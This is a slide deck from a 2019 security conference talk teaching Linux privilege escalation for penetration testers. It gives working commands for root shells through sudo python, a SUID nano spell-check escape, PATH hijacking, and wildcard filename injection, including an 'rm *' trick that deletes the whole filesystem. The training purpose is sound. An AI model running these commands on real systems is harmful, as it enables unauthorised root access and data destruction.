Check Your Privilege (Escalation)

KATE BROUSSARD, SENIOR SECURITY ANALYST AT BISHOP FOX

BSidesCMH 2019

March 1, 2019
Introduction
ROADMAP FOR THE NEXT HOUR

Kate Broussard
Senior Security Analyst

kbroussard@bishopfox.com
@grazhacks on Twitter

Outline
- Priv esc definition + framing
- Easy mode
- Sneaky mode
- Boss mode
- Summary
- Resources
PRIVILEGE ESCALATION

AND SO WE BEGIN
Privilege Escalation

Definition

• Using privileges of various agents to gain access to resources

When does it come into play?

Framing

• Who’s doing the execution?
• What are their privileges?

Two ways to escalate:

1. **You’re the agent** – your current user permissions are sufficient to execute the command & do the thing

2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing
EASY MODE

SO YOU’RE IN THE SERVER – NOW WHAT?
Before anything else
CHECK YOUR PRIVILEGE

- Who are you?
  
  `whoami`

  `id`

- Where are you?
  
  `pwd`

- Are you really really lucky?
  
  `cat /etc/shadow` vs. `cat /etc/passwd`

  `cd /root`
Permissions
CHECK YOUR PRIVILEGE

• Where do you have read access?
  /home/
  /usr/share/
  ENV

• Where do you have write access?
  /home/USER/.ssh
  /root/
  /etc/crontab
**sudo**

MAKE ME A SANDWICH

**sudo = super user do [something]**

- What commands can you execute?
- Do you need a password?

https://xkcd.com/838/ - Incident
sudo
MAKE ME A SANDWICH

**sudo**

### sudo = super user do [something]

#### `sudo -l`
- What commands can you execute?
- Do you need a password?

#### `cat /etc/sudoers`
- If readable, tells you which users/groups to target

#### `cat /etc/group`
- Lists users, IDs, group affiliations
**sudo Exploit - Python**

**SUDO MAKE ME A SANDWICH**

```bash
sudo -l
```

- User has sudo permissions for python
  - Without needing the password – excellent!
  - Therefore can run python under root permissions

```bash
sudo python -c 'import pty; pty.spawn("/bin/bash");'
```

- New shell spawned by python also runs under root permissions
Password reuse is RAMPANT

- web application passwords
- common/default passwords
- known compromised passwords for specific users

nmap port scan or ps au to see what's up

https://xkcd.com/792/ - Password Reuse
• Any passwords entered into history?
• Any interesting files or directories?

`cat .bash_history vs history`

• `.bash_history` won’t dump current session data until session ends
• `history` is a live dump of session
Are any credentials stored in logs?

Any other useful information?

Log files/dirs that are writeable can be replaced by symlink.

When owning process tries to write to log, will write to symlink instead.

Can be a way to output data somewhere that you can read it.
1. Who/where are you

2. What can you see/modify with current permissions?

3. Look for:
   1. `sudo` permissions
   2. Credential Reuse
   3. Leaked info from:
      1. `cat .bash_history`
      2. `/var/log` files

Two ways to escalate:

1. **You’re the agent** – your current user permissions are sufficient to execute the command & do the thing

2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing
SNEAKY MODE

FIND AND EXPLOIT SOME MISCONFIGURATIONS
**SUID/SGID bits**

CHECK THEIR PRIVILEGE

- What is the SUID/SGID bit?
- How to find a SUID/SGID binary?

  - What runs as the root user?
    
    find / -perm -u=s [-type f] 2>/dev/null
    find / -perm -4000 [-type f] 2>/dev/null

  - What runs in the root group?
    
    find / -perm -g=s [-type f] 2>/dev/null
    find / -perm -2000 [-type f] 2>/dev/null
SUID/SGID bits
CHECK THEIR PRIVILEGE

• What are “normal” SUID programs vs ones that are exploitable?
  
Standard Linux utility?
Try shell escape or command option argument

Custom script to make an admin’s life easy?
Try `PATH = .`, especially if the script makes a call to an alias
Also watch for wildcards

```
osboxes@osboxes:~$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/bin/find
/usr/bin/traceroute6.iputils
/usr/bin/lppasswd
/usr/bin/sudo
/usr/bin/python2.7
/usr/bin/chfn
/usr/bin/vim.tiny
/usr/bin/wtr
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/X
/usr/bin/mysql
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib.openssh/ssh-keysign
/usr/lib/ft_chown
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmencrypt-get-device
/bin/nano
/bin/su
/bin/mount
/bin/ping
/bin/less
/bin/unmount
/bin/ing6
/bin/fusermount
/bin/more
osboxes@osboxes:~$ find / -perm -g=s -type f 2>/dev/null
/sbin/visudo
/sbin/uuidd
/usr/sbin/cron
/usr/bin/wlocate
/usr/bin/dotlockfile
/usr/bin/ssh-agent
/usr/bin/wall
/usr/bin/bsd-write
```
# Shell escapes

**INTENTIONAL OPTION TO EXECUTE COMMANDS**

<table>
<thead>
<tr>
<th>Binary</th>
<th>Shell escape</th>
</tr>
</thead>
<tbody>
<tr>
<td>less</td>
<td>!cmd</td>
</tr>
</tbody>
</table>
| more   | !cmd
      | :!cmd        |
| vi     | :! cmd       |
| mysql  | system cmd   |
      | \! cmd       |

AND MANY MORE

https://www.mariowiki.com/File:Koopa_Troopa_Artwork_-_Super_Mario_3D_World.png
# Binary Options

<table>
<thead>
<tr>
<th>Binary</th>
<th>Option</th>
</tr>
</thead>
<tbody>
<tr>
<td>find</td>
<td><code>-exec CMD \</code>;`</td>
</tr>
<tr>
<td>awk</td>
<td><code>{system(&quot;CMD&quot;)}</code></td>
</tr>
</tbody>
</table>

AND MANY MORE
SUID Exploit
TRICKING AN EXECUTABLE INTO SPAWNING A SHELL

Nano is another common executable

If nano has a SUID bit set to root, can force an escape to root shell

Exploit:
1. create a temporary file with shell cmd
2. open nano with temp file set as spell-check reference
3. run spell-check to execute cmd under root permissions

```
$ which nano
/usr/bin/nano
$ ls -al /usr/bin/nano
lrwxrwxrwx 1 root root 9 Sep 12 2015 /usr/bin/nano -> /bin/nano
$ ls -al /bin/nano
-rwxr-xr-x 1 root root 192008 Oct 1 2012 /bin/nano
$ echo 'exec sh' > $TF
$ echo 'chmod +x $TF
$ nano -s $TF /etc/hosts
```

```
# id
uid=1000(osboxes) gid=1000(osboxes) euid=0(root) groups=0(root),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),118(sambashare),400(testgrp),1000(osboxes)
# whoami
root
# ```
Path is an environment variable telling the OS where to look for an aliased binary.

Instead of typing `/bin/ls` every time, you can just type `ls`.

Use case: Prank the Admin
- Bill knows that his supervisor Sue has her `PATH = .`.
- Writes a script to prank her, names it `ls`, sticks it in his `/home/BILL/` directory.
- Asks Sue why `ls` isn’t working in his `~`.
- Sue runs `ls` in `/home/BILL/` and executes the prank script instead of `/bin/ls` binary.
Not easy during assessment to know which users have PATH = .

HOWEVER!

Custom script on the web server might execute call to aliased program

calling `cat $FILE` instead of `/bin/cat $FILE`

If it runs under root privs, you can exploit it

---

**Use case: helperSH Exploit**

- helperSH is a custom script on the web server that makes life easy for an admin; SUID as root
- Command within the script executes something recognizable (like `ps`)
- In writeable dir, make new file `echo "'/bin/sh" > ps`
- Set own PATH = .
- Execute script from writeable dir
Use case: helperSH Exploit

• helperSH is a custom script on the web server that makes life easy for an admin; SUID as root

• Command within the script executes something recognizable (like `ps`)

• In writeable dir, make new file
  `echo "/bin/sh" > ps`

• Set own PATH = .

• Execute script from writeable dir
Wildcards
COMMAND OPTION ARGUMENTS AS FILENAMES

When using * wildcard, Unix shell interprets –FILENAME as command option argument

Meaning you can submit command options through file name when running a wildcard process

Keep an eye out for wildcards in custom scripts, cron jobs, executables

chown example
files in a given dir include:
  .FileRef.php
  --reference=.FileRef.php

when root executes the following:
chown –R nobody:nobody * .php
becomes:

User:group permissions of .FileRef.php are mapped onto every file in the directory
Wildcards
COMMAND OPTION ARGUMENTS AS FILENAMES

When using * wildcard, Unix shell interprets –FILENAME as command option argument

Meaning you can submit command options through file name when running a wildcard process

Keep an eye out for wildcards in custom scripts, cron jobs, executables

NOTE –
EXPLOIT BELOW DELETES THE FILESYSTEM

cd /tmp
echo “blah” > “-rf /*”
rm *

When rm * gets to –rf /* file, command becomes rm –rf /*

Which recursively deletes everything on the filesystem, starting at /
Sneaky Mode

RECAP

SUID/SGID bits

1. Shell escapes
2. Cmd option arguments
3. PATH = .

Wildcards

Two ways to escalate:

1. You’re the agent – your current user permissions are sufficient to execute the command & do the thing

2. Something else is the agent – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing
BOSS MODE

THESE WILL TAKE SOME TIME TO GET RIGHT
Cron jobs are cmds executed on a schedule
Almost always run under root permissions
  • `/etc/cron.allow` & `/etc/cron.deny` specify user privs

Cron takes a file; file tells it what to execute and when
  • `/etc/crontab`

• How to exploit?
  1. Overwrite `/etc/crontab`
  2. Write to a cron dir (priv misconfig)
  3. If the what is vulnerable, might be able to modify or hit something downstream
  4. Cron jobs may also have exploitable wildcards

Related: at, batch (one-time execution)
PRIVILEGE IS A CRONIC PROBLEM

• How to exploit?

1. Overwrite /etc/crontab (SUID on nano!)
2. Write to a cron dir (priv misconfig)
3. If the what is vulnerable, might be able to modify or hit something downstream
4. Cron jobs may also have exploitable wildcards
cron

PRIVILEGE IS A CRONIC PROBLEM

• How to exploit?

1. Overwrite /etc/crontab
2. Write to a cron dir (priv misconfig)
3. If the what is vulnerable, might be able to modify or hit something downstream
4. Cron jobs may also have exploitable wildcards
PRIVILEGE IS A CRONIC PROBLEM

- How to exploit?
  1. Overwrite /etc/crontab
  2. Write to a cron dir (priv misconfig)
  3. If the what is vulnerable, might be able to modify or hit something downstream
  4. Cron jobs may also have exploitable wildcards
Magic bullet: what if we just compromise the server OS itself?!!

Downside: there might be exploits that you need to grab & compile & debug

NOTE: not-small risk of bricking the server
Boss Mode

RECAP

Cron jobs

1. /etc/crontab
2. writeable cron dir
3. affect process downstream

Kernel exploits

Two ways to escalate:

1. **You’re the agent** – your current user permissions are sufficient to execute the command & do the thing

2. **Something else is the agent** – you get something else to execute the command under THEIR permissions, which are sufficient to do the thing
THAT’S ONE IN THE BANK

LET ME SUM UP
Typical goal in server: persistence + privilege escalation

Linux tends to be consistent in its core utilities; get familiar with what’s there and where it lives, and spotting vulnerable paths gets a lot easier

• **Are you the agent?** Drop into a root shell & give yourself persistence
• **Is something else the agent?** Need an intermediate step – get something to help you out

**Summary**

ONE HOUR IN ONE SLIDE

• **Easy mode**
  • Who are you?
  • Where are you?
  • What can you do?

• **Sneaky mode**
  • SUID/SGID bits: shell escapes, cmd option args, PATH = .
  • Wildcards

• **Boss mode**
  • Cron jobs
  • Kernel exploits
Resources & Contact
I'M REAL FRIENDLY

• https://payatu.com/guide-linux-privilege-escalation/
• http://www.securitysift.com/download/linuxprivchecker.py
• https://exploit-db.com
• https://www.linode.com/docs/tools-reference/linux-users-and-groups/
• https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/
• https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
• https://percussiveelbow.github.io/linux-privesc/

kbroussard@bishopfox.com
@grazhacks on Twitter

SLIDE DECK
http://github.com/grazhacks/BSidesCMH2019

PRACTICE VM
Thank You!

Questions?

kbroussard@bishopfox.com
@grazhacks on Twitter

SLIDE DECK
http://github.com/grazhacks/BSidesCMH2019

PRACTICE VM